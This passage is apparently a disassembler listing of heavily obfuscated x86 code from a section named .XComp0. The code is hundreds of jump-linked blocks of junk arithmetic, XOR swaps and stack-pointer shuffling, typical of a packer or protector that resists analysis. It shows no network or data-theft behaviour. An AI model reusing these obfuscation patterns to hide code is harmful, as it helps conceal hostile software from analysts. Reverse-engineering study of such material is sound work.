		push	6862h
		mov	[esp], eax
		push	esi
		mov	esi, 2C4A129Ah
		inc	esi
		add	esi, 39B13FC6h
		mov	eax, esi
		pop	esi
		add	ebx, 19AD7E53h
		sub	ebx, 1B7431D3h
		sub	ebx, eax
		jmp	loc_585CB0
; ---------------------------------------------------------------------------


loc_587DE5:				; CODE XREF: .XComp0:0058E7EFj
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		jmp	loc_583E0B
; ---------------------------------------------------------------------------


loc_587DF0:				; CODE XREF: .XComp0:00584758j
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_58D428
; ---------------------------------------------------------------------------


loc_587DFE:				; CODE XREF: .XComp0:005956CFj
		push	esi
		jmp	loc_583EE0
; ---------------------------------------------------------------------------


loc_587E04:				; CODE XREF: .XComp0:0058DACDj
		mov	edi, 3E8C179Ah
		add	edi, 2C422E71h
		not	edi
		push	60C4h
		jmp	loc_58C85E
; ---------------------------------------------------------------------------


loc_587E1B:				; CODE XREF: .XComp0:00596BEAj
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_58C112
; ---------------------------------------------------------------------------


loc_587E36:				; CODE XREF: .XComp0:005877DFj
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], eax
		jmp	loc_588DAE
; ---------------------------------------------------------------------------


loc_587E45:				; CODE XREF: .XComp0:0059476Dj
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_591C4B
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	72DCh
		mov	[esp], esi
		mov	esi, esp
		push	eax
		mov	eax, 2E3659CBh
		dec	eax
		jmp	loc_58E46D
; ---------------------------------------------------------------------------


loc_587E76:				; CODE XREF: .XComp0:00592EC2j
		pop	edi
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_58AC07
; ---------------------------------------------------------------------------


loc_587E85:				; CODE XREF: .XComp0:0058C190j
		pop	eax
		push	ebx
		push	esp
		mov	ebx, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_593E9F
; ---------------------------------------------------------------------------


loc_587E93:				; CODE XREF: .XComp0:0058BE94j
		add	cl, 0FDh
		push	cx
		not	byte ptr [esp]
		jmp	loc_5983FD
; ---------------------------------------------------------------------------


loc_587EA0:				; CODE XREF: .XComp0:0058BB57j
		push	edi
		jmp	loc_591AFE
; ---------------------------------------------------------------------------


loc_587EA6:				; CODE XREF: .XComp0:005957E1j
		sub	edi, 6BB6DC6h
		pop	ecx
		sub	esi, edi
		pop	edi
		dec	esi
		sub	esi, 8751C62Eh
		add	eax, esi
		pop	esi
		sub	eax, edx
		push	3FDDh
		mov	[esp], ebp
		mov	ebp, 6A2E34D1h
		jmp	loc_597AA4
; ---------------------------------------------------------------------------


loc_587ECE:				; CODE XREF: .XComp0:0058743Aj
		push	eax
		mov	eax, 2BFD613Ch
		mov	ebp, 0D4029EC8h
		jmp	loc_5852F1
; ---------------------------------------------------------------------------


loc_587EDE:				; CODE XREF: .XComp0:00584B27j
		sub	edx, 0B450B32h
		jmp	loc_58D160
; ---------------------------------------------------------------------------


loc_587EE9:				; CODE XREF: .XComp0:0058E7C6j
		inc	ebp
		neg	ebp
		jmp	loc_5927BD
; ---------------------------------------------------------------------------


loc_587EF1:				; CODE XREF: .XComp0:00597866j
		mov	ebx, 523B8E24h
		jmp	loc_5845A7
; ---------------------------------------------------------------------------


loc_587EFB:				; CODE XREF: .XComp0:005862E5j
		add	esp, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		push	esi
		jmp	loc_593964
; ---------------------------------------------------------------------------


loc_587F11:				; CODE XREF: .XComp0:00597BD7j
		xor	ebp, ebx
		jmp	loc_58FD3A
; ---------------------------------------------------------------------------


loc_587F18:				; CODE XREF: .XComp0:0059358Fj
		mov	ebp, [esp]
		add	esp, 4
		mov	ecx, ebp
		pop	ebp
		jmp	loc_590812
; ---------------------------------------------------------------------------


loc_587F29:				; CODE XREF: .XComp0:00584726j
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_589BC7
; ---------------------------------------------------------------------------


loc_587F34:				; CODE XREF: .XComp0:00594DC9j
		mov	edi, 52F7642Eh
		sub	edi, 0EA300A84h
		xor	ebx, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		add	ebx, 5B3860BFh
		jmp	loc_595E41
; ---------------------------------------------------------------------------


loc_587F53:				; CODE XREF: .XComp0:00591D53j
		push	dword ptr [esp]
		jmp	loc_59188E
; ---------------------------------------------------------------------------


loc_587F5B:				; CODE XREF: .XComp0:0058FD27j
		pop	esp
		jmp	loc_5916F0
; ---------------------------------------------------------------------------


loc_587F61:				; CODE XREF: .XComp0:0058B7D8j
		mov	[esp], ax
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_587F6A:				; CODE XREF: .XComp0:005981C5j
		mov	edx, 371A083Bh
		inc	edx
		inc	edx
		or	edx, 21C71F16h
		inc	edx
		add	edx, 0BC3F42Bh
		add	ebx, edx
		pop	edx
		sub	ebx, 6E267374h
		add	ebx, edx
		add	ebx, 6E267374h
		push	3BA4h
		jmp	loc_58A4A2
; ---------------------------------------------------------------------------


loc_587F99:				; CODE XREF: .XComp0:00595C5Ej
		pop	edx
		push	2F04h
		jmp	loc_58E358
; ---------------------------------------------------------------------------


loc_587FA4:				; CODE XREF: .XComp0:00585370j
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_58C78E
; ---------------------------------------------------------------------------


loc_587FAF:				; CODE XREF: .XComp0:00595471j
		mov	[esp], eax
		mov	al, 8Fh
		push	ecx
		mov	cl, 40h
		jmp	loc_58F48A
; ---------------------------------------------------------------------------


loc_587FBC:				; CODE XREF: .XComp0:00592203j
		add	esi, 4
		jmp	loc_586B94
; ---------------------------------------------------------------------------


loc_587FC7:				; CODE XREF: .XComp0:005985C8j
		add	esi, 909055C2h
		xor	edi, esi
		pop	esi
		sub	edi, 0E7A12F0Dh
		or	eax, edi
		pop	edi
		jmp	loc_583FB3
; ---------------------------------------------------------------------------


loc_587FDE:				; CODE XREF: .XComp0:00598B86j
		mov	edx, 1257F999h
		sub	esi, edx
		jmp	loc_58738C
; ---------------------------------------------------------------------------


loc_587FEA:				; CODE XREF: .XComp0:005883B0j
		push	eax
		mov	eax, 4
		add	ebp, eax
		jmp	loc_58F80B
; ---------------------------------------------------------------------------


loc_587FF7:				; CODE XREF: .XComp0:0058FF22j
		push	eax
		xchg	esi, [esp]
		not	esi
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	eax
		jmp	loc_58EF93
; ---------------------------------------------------------------------------


loc_58800C:				; CODE XREF: .XComp0:005984F9j
		mov	edx, 1D8333C6h
		sub	esi, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		mov	edi, [esp]
		add	esp, 4
		sub	eax, 21562A9Ah
		sub	eax, esi
		add	eax, 21562A9Ah
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		push	eax
		mov	eax, esp
		jmp	loc_5925AA
; ---------------------------------------------------------------------------


loc_588040:				; CODE XREF: .XComp0:005914F9j
		pop	eax
		inc	dh
		add	dh, 46h
		jmp	loc_591BE9
; ---------------------------------------------------------------------------


loc_58804B:				; CODE XREF: .XComp0:00592907j
		pop	eax
		jmp	loc_5963E3
; ---------------------------------------------------------------------------


loc_588051:				; CODE XREF: .XComp0:0058E07Cj
		push	dword ptr [esp+4]
		mov	eax, [esp]
		jmp	loc_58E854
; ---------------------------------------------------------------------------


loc_58805D:				; CODE XREF: .XComp0:00593A81j
		sub	ch, 94h
		sub	ch, 54h
		xor	ch, 1
		jmp	loc_58DB98
; ---------------------------------------------------------------------------


loc_58806B:				; CODE XREF: .XComp0:005895ABj
		push	edx
		push	51CC47DFh
		pop	edx
		add	dword ptr [esp+4], 0C9D1D94h
		jmp	loc_593F2A
; ---------------------------------------------------------------------------


loc_58807F:				; CODE XREF: .XComp0:00596F21j
		push	1452h
		mov	[esp], esi
		push	esp
		pop	esi
		jmp	loc_58B3D6
; ---------------------------------------------------------------------------


loc_58808E:				; CODE XREF: .XComp0:00595BF1j
		shl	dh, 2
		add	dh, 1
		shr	dh, 1
		and	dh, 10h
		push	ecx
		push	25D6h
		mov	[esp], edx
		mov	dh, 0B4h
		jmp	loc_586843
; ---------------------------------------------------------------------------


loc_5880A9:				; CODE XREF: .XComp0:0059845Cj
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		xor	edx, [esp]
		jmp	loc_595359
; ---------------------------------------------------------------------------


loc_5880C1:				; CODE XREF: .XComp0:00585B93j
		and	dh, bl
		jmp	loc_5868C8
; ---------------------------------------------------------------------------


loc_5880C8:				; CODE XREF: .XComp0:00585B58j
		shl	eax, 7
		xor	eax, 689E6B8Fh
		not	eax
		sub	eax, 491B13E2h
		add	esi, eax
		jmp	loc_59127D
; ---------------------------------------------------------------------------
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		jmp	loc_58AB27
; ---------------------------------------------------------------------------


loc_5880F7:				; CODE XREF: .XComp0:0058B41Dj
		and	ebx, 7C082925h
		jmp	loc_5860BD
; ---------------------------------------------------------------------------


loc_588102:				; CODE XREF: .XComp0:0058F709j
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_588113:				; CODE XREF: .XComp0:0058A98Bj
		mov	[esp], ecx
		mov	cl, dl
		push	edx
		push	ebx
		mov	bl, cl
		push	ecx
		mov	cl, bl
		jmp	loc_584DD3
; ---------------------------------------------------------------------------


loc_588124:				; CODE XREF: .XComp0:0058952Ej
		pop	dword ptr [esp]
		jmp	loc_58592B
; ---------------------------------------------------------------------------


loc_58812C:				; CODE XREF: .XComp0:00598FD1j
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 2
		add	eax, 41D46153h
		add	eax, 5A7902B3h
		sub	eax, 4CB0137Dh
		add	eax, ebx
		push	ebp
		mov	ebp, 5E9316EBh
		inc	ebp
		inc	ebp
		shr	ebp, 2
		sub	ebp, 0CAF4B23Eh
		add	eax, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 16F91F52h
		dec	ecx
		push	eax
		mov	eax, 31091DFCh
		or	ecx, eax
		pop	eax
		jmp	loc_59479D
; ---------------------------------------------------------------------------


loc_58817C:				; CODE XREF: .XComp0:005893F3j
		neg	edx
		push	edx
		neg	dword ptr [esp]
		mov	edx, [esp]
		jmp	loc_597A06
; ---------------------------------------------------------------------------


loc_58818A:				; CODE XREF: .XComp0:00593A67j
		add	esp, 4
		add	esp, 4
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_588198:				; CODE XREF: .XComp0:00597259j
		push	ebp
		jmp	loc_583DE1
; ---------------------------------------------------------------------------


loc_58819E:				; CODE XREF: .XComp0:00590462j
		shr	edx, 4
		push	ecx
		mov	ecx, 4172079h
		jmp	loc_58BBE8
; ---------------------------------------------------------------------------


loc_5881AC:				; CODE XREF: .XComp0:005917FFj
		mov	ebx, 6EFD0F90h
		add	ebx, 60C0157Ch
		jmp	loc_587BC1
; ---------------------------------------------------------------------------


loc_5881BC:				; CODE XREF: .XComp0:0058448Aj
		push	ebx
		push	ecx
		jmp	loc_586759
; ---------------------------------------------------------------------------


loc_5881C3:				; CODE XREF: .XComp0:005861CBj
		push	edi
		mov	edi, 22097856h
		sub	edi, 304C450Ch
		sub	ebx, edi
		pop	edi
		jmp	loc_591911
; ---------------------------------------------------------------------------


loc_5881D7:				; CODE XREF: .XComp0:005867C8j
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 2
		jmp	loc_58540A
; ---------------------------------------------------------------------------


loc_5881E7:				; CODE XREF: .XComp0:0058D53Ej
		push	small 4783h
		mov	[esp], dx
		jmp	loc_59030A
; ---------------------------------------------------------------------------


loc_5881F4:				; CODE XREF: .XComp0:0058DB12j
		neg	al
		or	al, 0DFh
		neg	al
		push	ecx
		mov	cl, 95h
		or	al, cl
		pop	ecx
		add	al, 0AFh
		sub	bl, al
		pop	eax
		sub	bl, 88h
		sub	bl, al
		add	bl, 88h
		add	bl, 44h
		mov	ax, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_589377
; ---------------------------------------------------------------------------


loc_58821C:				; CODE XREF: .XComp0:0058B53Ej
		mov	[esp], ebx
		jmp	loc_586644
; ---------------------------------------------------------------------------


loc_588224:				; CODE XREF: .XComp0:005874D5j
		sub	edx, 34874879h
		mov	eax, edx
		jmp	loc_58E15D
; ---------------------------------------------------------------------------


loc_588231:				; CODE XREF: .XComp0:0058DFB6j
		xor	ch, 0Ah
		jmp	loc_591003
; ---------------------------------------------------------------------------


loc_588239:				; CODE XREF: .XComp0:0058BD80j
		push	3089h
		mov	[esp], edi
		push	edx
		push	41113DA3h
		pop	edx
		jmp	loc_59507A
; ---------------------------------------------------------------------------


loc_58824D:				; CODE XREF: .XComp0:0058535Dj
		pop	esp
		add	ecx, edi
		push	1395h
		mov	[esp], ebx
		push	ebp
		mov	ebp, 298844CEh
		mov	ebx, 298844CEh
		sub	ebx, ebp
		jmp	loc_593EB4
; ---------------------------------------------------------------------------


loc_58826A:				; CODE XREF: .XComp0:00589886j
		mov	dh, 0Fh
		add	cl, dh
		pop	dx
		sub	al, cl
		pop	ecx
		sub	al, 49h
		jmp	loc_58D0E7
; ---------------------------------------------------------------------------
		mov	ecx, [esp]
		push	4F0h
		mov	[esp], esi
		mov	esi, esp
		push	78DBh
		mov	[esp], edi
		jmp	loc_5920FC
; ---------------------------------------------------------------------------


loc_588294:				; CODE XREF: .XComp0:0058A423j
		add	dl, 4Ch
		jmp	loc_5972B3
; ---------------------------------------------------------------------------


loc_58829C:				; CODE XREF: .XComp0:005928E9j
		push	ebx
		push	544B7363h
		pop	ebx
		sub	ebx, 0DC465648h
		jmp	loc_598C03
; ---------------------------------------------------------------------------


loc_5882AE:				; CODE XREF: .XComp0:0058C5B0j
		mov	dx, 458Eh
		mov	si, dx
		pop	edx
		push	eax
		mov	ax, si
		mov	cx, ax
		jmp	loc_589F15
; ---------------------------------------------------------------------------


loc_5882C2:				; CODE XREF: .XComp0:00597790j
		push	cx
		jmp	loc_597A18
; ---------------------------------------------------------------------------


loc_5882C9:				; CODE XREF: .XComp0:0058BCA3j
		add	esi, ebp
		jmp	loc_58BEB3
; ---------------------------------------------------------------------------


loc_5882D0:				; CODE XREF: .XComp0:005847CEj
		pop	edx
		add	edx, 4
		jmp	loc_589403
; ---------------------------------------------------------------------------


loc_5882DC:				; CODE XREF: .XComp0:00589F2Aj
		push	esp
		pop	ecx
		add	ecx, 4
		push	esi
		mov	esi, 5B912EBCh
		xor	esi, 1C5C1DB8h
		inc	esi
		not	esi
		inc	esi
		inc	esi
		sub	esi, 0B832CCF8h
		push	edi
		mov	edi, 3C0530BFh
		dec	edi
		or	edi, 2012E73h
		neg	edi
		sub	edi, 3B55578Fh
		neg	edi
		jmp	loc_5887A0
; ---------------------------------------------------------------------------


loc_588317:				; CODE XREF: .XComp0:00590C9Dj
		mov	edi, esp
		jmp	loc_587B47
; ---------------------------------------------------------------------------


loc_58831E:				; CODE XREF: .XComp0:005955BDj
		push	ebx
		mov	ebx, 4
		add	edx, 0ED52673h
		add	edx, ebx
		sub	edx, 0ED52673h
		pop	ebx
		push	ebx
		jmp	loc_58B6E9
; ---------------------------------------------------------------------------


loc_588339:				; CODE XREF: .XComp0:0058AFB4j
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		add	ebx, 4
		push	esi
		push	4
		mov	esi, [esp]
		add	esp, 4
		add	ebx, esi
		push	dword ptr [esp]
		pop	esi
		jmp	loc_59329E
; ---------------------------------------------------------------------------


loc_588360:				; CODE XREF: .XComp0:0058C574j
		sub	esp, 4
		mov	[esp], edx
		push	esp
		pop	edx
		add	edx, 4
		push	eax
		mov	eax, 4
		sub	edx, eax
		mov	eax, [esp]
		add	esp, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		jmp	loc_58AAE5
; ---------------------------------------------------------------------------


loc_58838A:				; CODE XREF: .XComp0:0058E15Ej
		add	ecx, eax
		jmp	loc_5916A6
; ---------------------------------------------------------------------------


loc_588391:				; CODE XREF: .XComp0:0058B05Fj
		mov	[esp], edx
		mov	dl, 72h
		push	ecx
		mov	cl, 0C9h
		neg	cl
		push	ebx
		mov	bh, 1
		jmp	loc_591593
; ---------------------------------------------------------------------------


loc_5883A3:				; CODE XREF: .XComp0:0058C9CEj
		push	dword ptr [esp]
		pop	edi
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_587FEA
; ---------------------------------------------------------------------------


loc_5883B5:				; CODE XREF: .XComp0:00596BE1j
		pop	esp
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 2
		xchg	edx, [esp]
		pop	esp
		pop	small word ptr [esp]
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_5883D1:				; CODE XREF: .XComp0:00597019j
		xchg	eax, [esp]
		mov	esp, [esp]
		jmp	loc_585E9C
; ---------------------------------------------------------------------------


loc_5883DC:				; CODE XREF: .XComp0:0058B61Fj
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_589EFC
; ---------------------------------------------------------------------------


loc_5883EC:				; CODE XREF: .XComp0:005975D3j
		mov	[esp], edi
		jmp	loc_58758E
; ---------------------------------------------------------------------------


loc_5883F4:				; CODE XREF: .XComp0:0059364Bj
		mov	esp, [esp]
		jmp	loc_58ED18
; ---------------------------------------------------------------------------


loc_5883FC:				; CODE XREF: .XComp0:005971E0j
		push	dword ptr [esp]
		pop	ecx
		push	esi
		jmp	loc_593421
; ---------------------------------------------------------------------------


loc_588406:				; CODE XREF: .XComp0:005862F1j
		push	dword ptr [esp]
		pop	ecx
		push	4950h
		mov	[esp], eax
		push	esp
		pop	eax
		jmp	loc_58522A
; ---------------------------------------------------------------------------


loc_588419:				; CODE XREF: .XComp0:0058A3A8j
		push	esi
		mov	esi, 4
		sub	ebx, esi
		mov	esi, [esp]
		jmp	loc_5980B1
; ---------------------------------------------------------------------------


loc_588429:				; CODE XREF: .XComp0:005902EAj
		mov	edx, 4
		push	esi
		mov	esi, 3EF67B4Dh
		shl	esi, 8
		jmp	loc_58AA8B
; ---------------------------------------------------------------------------


loc_58843C:				; CODE XREF: .XComp0:0058C40Aj
		add	esp, 4
		shr	eax, 18h
		xor	eax, ecx
		push	7743h
		mov	[esp], eax
		push	ebx
		jmp	loc_5851BD
; ---------------------------------------------------------------------------


loc_588455:				; CODE XREF: .XComp0:00590361j
		mov	eax, [esp]
		push	2281h
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_594371
; ---------------------------------------------------------------------------


loc_588470:				; CODE XREF: .XComp0:00591D70j
		pop	ecx
		jmp	loc_58E663
; ---------------------------------------------------------------------------


loc_588476:				; CODE XREF: .XComp0:00596C9Fj
		mov	edi, 0A121D98h
		push	esi
		push	3834C02h
		pop	esi
		jmp	loc_594ED9
; ---------------------------------------------------------------------------


loc_588487:				; CODE XREF: .XComp0:00589CC9j
		xor	ecx, eax
		mov	eax, [esp]
		push	esi
		push	esp
		mov	esi, [esp]
		add	esp, 4
		add	esi, 4
		add	esi, 4
		jmp	loc_589504
; ---------------------------------------------------------------------------


loc_5884A2:				; CODE XREF: .XComp0:00594491j
		mov	[esp], edx
		push	esi
		jmp	loc_587C43
; ---------------------------------------------------------------------------


loc_5884AB:				; CODE XREF: .XComp0:005886C9j
		pop	eax
		jmp	loc_5962D0
; ---------------------------------------------------------------------------


loc_5884B1:				; CODE XREF: .XComp0:0058A188j
		add	esp, 4
		add	edx, 6F607900h
		add	edx, esi
		sub	edx, 6F607900h
		add	edx, 75641B14h
		pop	esi
		add	edx, 28316B29h
		add	edx, eax
		sub	edx, 28316B29h
		push	dword ptr [edx]
		xor	dword ptr [esp], 0F695E96h
		jmp	loc_5857E6
; ---------------------------------------------------------------------------


loc_5884E5:				; CODE XREF: .XComp0:00593B37j
		push	eax
		jmp	loc_597E4E
; ---------------------------------------------------------------------------


loc_5884EB:				; CODE XREF: .XComp0:005989BAj
		pop	ecx
		add	esi, 4
		push	0D4Eh
		jmp	loc_584239
; ---------------------------------------------------------------------------


loc_5884FC:				; CODE XREF: .XComp0:0058B630j
		push	esi
		mov	esi, 50462567h
		xor	esi, 37C4716Bh
		xor	ecx, esi
		jmp	loc_58C153
; ---------------------------------------------------------------------------


loc_58850F:				; CODE XREF: .XComp0:0058B393j
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		jmp	loc_58A117
; ---------------------------------------------------------------------------


loc_58851D:				; CODE XREF: .XComp0:0058F7FCj
		add	dword ptr [esp+4], 13306679h
		pop	esi
		jmp	loc_597E26
; ---------------------------------------------------------------------------


loc_58852B:				; CODE XREF: .XComp0:00595007j
		xor	ebp, 25AF565Ch
		add	ebp, 2ED47E13h
		inc	ebp
		sub	ebp, 5227A9C6h
		push	7B04h
		mov	[esp], edx
		mov	edx, 881228Bh
		add	ebx, edx
		jmp	loc_598BCA
; ---------------------------------------------------------------------------


loc_588552:				; CODE XREF: .XComp0:005876F6j
		add	edi, 13EC551h
		add	ecx, edi
		jmp	loc_58988B
; ---------------------------------------------------------------------------


loc_58855F:				; CODE XREF: .XComp0:0058A7C3j
		push	ebx
		mov	ebx, 778C359Bh
		or	esi, ebx
		pop	ebx
		shr	esi, 8
		jmp	loc_5959D8
; ---------------------------------------------------------------------------
		lodsb
		xor	al, bl
		push	ebx
		mov	bl, 0D8h
		shr	bl, 3
		add	bl, 1
		shl	bl, 7
		dec	bl
		push	eax
		push	edx
		mov	dh, 7Dh
		mov	ah, dh
		pop	edx
		push	ecx
		mov	cl, 8Eh
		or	cl, 0F0h
		add	cl, 34h
		add	ah, cl
		pop	ecx
		jmp	loc_591949
; ---------------------------------------------------------------------------


loc_588599:				; CODE XREF: .XComp0:0058A930j
		mov	[esp], ecx
		jmp	loc_58BC5B
; ---------------------------------------------------------------------------


loc_5885A1:				; CODE XREF: .XComp0:00589DCBj
		xor	[esp], ax
		not	ax
		push	8EAh
		mov	[esp], esi
		jmp	loc_58623E
; ---------------------------------------------------------------------------


loc_5885B5:				; CODE XREF: .XComp0:00592003j
		push	dword ptr [esp]
		pop	ecx
		push	edx
		jmp	loc_594228
; ---------------------------------------------------------------------------


loc_5885BF:				; CODE XREF: .XComp0:00597361j
		add	ebx, 0A9138CF8h
		xor	esi, ebx
		jmp	loc_58F4E2
; ---------------------------------------------------------------------------


loc_5885CC:				; CODE XREF: .XComp0:00585DB9j
		push	5E2Ch
		mov	[esp], ebx
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	eax
		jmp	loc_5872BF
; ---------------------------------------------------------------------------


loc_5885E1:				; CODE XREF: .XComp0:005961B9j
		add	esp, 4
		add	esp, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		jmp	loc_58BD93
; ---------------------------------------------------------------------------


loc_5885FB:				; CODE XREF: .XComp0:0058F338j
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_5841C9
; ---------------------------------------------------------------------------


loc_58860F:				; CODE XREF: .XComp0:0058DC63j
		mov	ebp, [esp]
		push	71Ch
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		or	ecx, ecx
		jz	loc_586EF9
		push	817h
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	esi, [esp]
		push	133Ch
		mov	[esp], eax
		jmp	loc_592913
; ---------------------------------------------------------------------------


loc_58864E:				; CODE XREF: .XComp0:00583FAEj
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		mov	cx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_586A01
; ---------------------------------------------------------------------------


loc_588668:				; CODE XREF: .XComp0:00596353j
		xchg	ebx, [esp]
		pop	esp
		and	ecx, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_58DD6B
; ---------------------------------------------------------------------------


loc_58867D:				; CODE XREF: .XComp0:00585150j
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_58AFC3
; ---------------------------------------------------------------------------


loc_588689:				; CODE XREF: .XComp0:00597653j
		sub	ebx, edi
		pop	edi
		sub	ebx, 7B662E5Dh
		pop	edx
		mov	dx, [esp]
		push	ecx
		push	7FD9h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		jmp	loc_5856DA
; ---------------------------------------------------------------------------


loc_5886AD:				; CODE XREF: .XComp0:00591E7Bj
		mov	ecx, ebp
		pop	ebp
		sub	ebx, ecx
		pop	ecx
		neg	ebx
		xor	ebx, 36F52F57h
		shr	ebx, 6
		jmp	loc_588D69
; ---------------------------------------------------------------------------


loc_5886C3:				; CODE XREF: .XComp0:005961DBj
		add	edx, 11B82E69h
		jmp	loc_5884AB
; ---------------------------------------------------------------------------


loc_5886CE:				; CODE XREF: .XComp0:005918BCj
		sub	ebp, edi
		pop	edi
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, esp
		jmp	loc_58E1CD
; ---------------------------------------------------------------------------


loc_5886DF:				; CODE XREF: .XComp0:0058AB63j
		pop	ecx
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_590E6D
; ---------------------------------------------------------------------------


loc_5886EE:				; CODE XREF: .XComp0:00590F1Aj
		pop	cx
		xor	ah, 53h
		xor	ah, dh
		jmp	loc_58D4EA
; ---------------------------------------------------------------------------


loc_5886FA:				; CODE XREF: .XComp0:00597543j
		pop	ax
		sub	esp, 4
		jmp	loc_59594D
; ---------------------------------------------------------------------------


loc_588707:				; CODE XREF: .XComp0:00595948j
		dec	esi
		push	ebp
		jmp	loc_590CFB
; ---------------------------------------------------------------------------


loc_58870E:				; CODE XREF: .XComp0:0058D1BBj
		mov	[esp], ecx
		mov	ecx, 4
		jmp	loc_591E8B
; ---------------------------------------------------------------------------


loc_58871B:				; CODE XREF: .XComp0:0058E152j
		pop	esp
		rol	dword ptr [esp], cl
		pushf
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_588725:				; CODE XREF: .XComp0:00594478j
		pop	ecx
		push	eax
		push	43F3h
		mov	[esp], ecx
		jmp	loc_585095
; ---------------------------------------------------------------------------


loc_588734:				; CODE XREF: .XComp0:00587759j
		not	esi
		add	esi, 53D88493h
		jmp	loc_5893C4
; ---------------------------------------------------------------------------


loc_588741:				; CODE XREF: .XComp0:00598070j
		push	4
		pop	eax
		jmp	loc_58EB33
; ---------------------------------------------------------------------------


loc_58874C:				; CODE XREF: .XComp0:0058597Ej
		add	ebp, 756E4E6h
		jmp	loc_58A433
; ---------------------------------------------------------------------------


loc_588757:				; CODE XREF: .XComp0:005941EDj
		pop	eax
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_58875D:				; CODE XREF: .XComp0:0058F518j
		push	eax
		mov	al, cl
		mov	dl, al
		jmp	loc_58D655
; ---------------------------------------------------------------------------


loc_588767:				; CODE XREF: .XComp0:00593985j
		add	esp, 4
		push	2BF7h
		mov	[esp], eax
		mov	eax, 1EEE3AE2h
		add	ecx, 1B1C290Dh
		jmp	loc_58ABDE
; ---------------------------------------------------------------------------


loc_588785:				; CODE XREF: .XComp0:00585FC2j
		push	ecx
		mov	ecx, 48347E88h
		jmp	loc_58A5A7
; ---------------------------------------------------------------------------


loc_588790:				; CODE XREF: .XComp0:00595F29j
		mov	edx, 1CCE5A8Ah
		push	ecx
		mov	ecx, 3A2425F2h
		jmp	loc_58F4FF
; ---------------------------------------------------------------------------


loc_5887A0:				; CODE XREF: .XComp0:00588312j
		add	edi, 0C84ABA15h
		sub	ecx, edi
		pop	edi
		sub	ecx, esi
		jmp	loc_58A08B
; ---------------------------------------------------------------------------


loc_5887B0:				; CODE XREF: .XComp0:00590E5Ej
		mov	[esp], ebx
		mov	ebx, 3A8378ADh
		add	dword ptr [esp+4], 3CAD1BDEh
		sub	[esp+4], ebx
		sub	dword ptr [esp+4], 3CAD1BDEh
		pop	ebx
		pop	edi
		add	edi, 3A8378ADh
		pop	ebx
		push	edi
		xchg	edi, [esp]
		not	edi
		xchg	edi, [esp]
		mov	edi, [esp]
		push	ebp
		jmp	loc_5870C4
; ---------------------------------------------------------------------------


loc_5887E7:				; CODE XREF: .XComp0:loc_584F4Cj
		mov	[esp], ebx
		push	dword ptr [esp]
		jmp	loc_58C8AF
; ---------------------------------------------------------------------------


loc_5887F2:				; CODE XREF: .XComp0:00586BDAj
		and	eax, esi
		mov	esi, [esp]
		push	4935h
		mov	[esp], edx
		push	esp
		pop	edx
		jmp	loc_58E750
; ---------------------------------------------------------------------------


loc_588806:				; CODE XREF: .XComp0:0058B0E6j
		mov	eax, 510C7E18h
		sub	eax, 176624D7h
		inc	eax
		xor	eax, 7B5711ADh
		add	ebp, 15056CD4h
		add	ebp, eax
		jmp	loc_58E634
; ---------------------------------------------------------------------------


loc_588823:				; CODE XREF: .XComp0:005862CDj
		mov	eax, esi
		pop	esi
		jmp	loc_58AC62
; ---------------------------------------------------------------------------


loc_58882B:				; CODE XREF: .XComp0:00584FA9j
		add	esp, 4
		shr	edx, 6
		push	eax
		mov	eax, offset word_564512
		sub	edx, eax
		pop	eax
		mov	ebp, edx
